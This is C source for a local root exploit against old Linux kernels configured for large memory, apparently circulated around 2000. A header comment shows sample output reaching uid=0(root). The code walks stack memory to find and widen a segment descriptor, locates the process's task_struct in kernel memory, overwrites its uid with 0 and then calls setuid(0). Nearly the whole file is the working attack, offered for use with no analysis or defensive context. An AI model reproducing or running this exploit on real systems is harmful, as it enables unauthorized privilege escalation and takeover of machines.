/*
 
 The exploit (local root, can be extended
 to also reset securelevel; will only compile
 with libc 5, you'd have to rip task_struct out
 of <linux/sched.h> for compiling with glibc):
 
Its output, with CONFIG_MAX_MEMSIZE=1800 (the very first example
given in linux/Documentation/more-than-900MB-RAM.txt):
 
Searching for the descriptor... found at 0x8f9068ac
Extending its limit... done
Searching for task_struct... found at 0x9157d810
Patching the UID... done
uid=0(root) gid=0(root)
 
*/

#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#include <unistd.h>
#include <grp.h>
#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>

void die1()
{
  puts("\nFailed: probably not vulnerable");
  exit(1);
}

void die2()
{
  puts("\nVulnerable, but failed to exploit");
  exit(1);
}

int main()
{
  int *sp = (int *)&sp;
  int *d = sp;
  struct task_struct *task = (struct task_struct *)sp;
  int pid, uid;
  struct rlimit old, new;

  setbuf(stdout, NULL);
  printf("Searching for the descriptor... ");

  signal(SIGSEGV, die1);

  while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
         (d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;

  signal(SIGSEGV, die2);

  printf("found at %p\nExtending its limit... ", d + 2);

  d[2] |= 0xF0000;

  printf("done\nSearching for task_struct... ");

  pid = getpid();
  uid = getuid();

  if (getrlimit(RLIMIT_FSIZE, &old))
    {
      perror("getrlimit");
      return 1;
    }
search:
  new = old;
  new.rlim_cur--;
  if (setrlimit(RLIMIT_FSIZE, &new))
    new.rlim_cur = old.rlim_cur;

  do
    {
      ((int *)task)++;
    }
  while (task->pid != pid || task->uid != uid);

  if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;

  if (setrlimit(RLIMIT_FSIZE, &old))
    {
      perror("setrlimit");
      return 1;
    }

  if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;

  printf("found at %p\nPatching the UID... ", task);

  task->uid = 0;
  setuid(0);
  setgid(0);
  setgroups(0, NULL);

  puts("done");

  execl("/usr/bin/id", "id", NULL);
  return 1;
}
/*                    www.hack.co.za              [2000]*/